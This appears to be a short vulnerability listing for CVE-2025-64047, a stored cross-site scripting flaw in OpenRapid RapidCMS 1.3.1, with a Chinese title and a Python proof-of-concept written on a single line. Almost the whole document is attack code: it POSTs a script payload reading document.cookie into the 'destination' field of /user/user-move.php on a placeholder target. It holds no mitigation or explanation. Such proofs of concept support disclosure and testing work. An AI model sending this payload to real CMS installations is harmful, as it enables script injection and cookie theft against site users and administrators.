CVE-2025-64047 OpenRapid RapidCMS 1.3.1 跨站脚本(XSS)漏洞

import requests # CVE-2025-64047 XSS PoC for OpenRapid RapidCMS 1.3.1 # Vulnerability: Stored XSS in /user/user-move.php target_url = "http://target.com/user/user-move.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Construct the exploit request # The vulnerability occurs when user input is not properly sanitized data = { "user_id": "1", "destination": xss_payload, "action": "move" } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {xss_payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] PoC executed - XSS payload injected") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")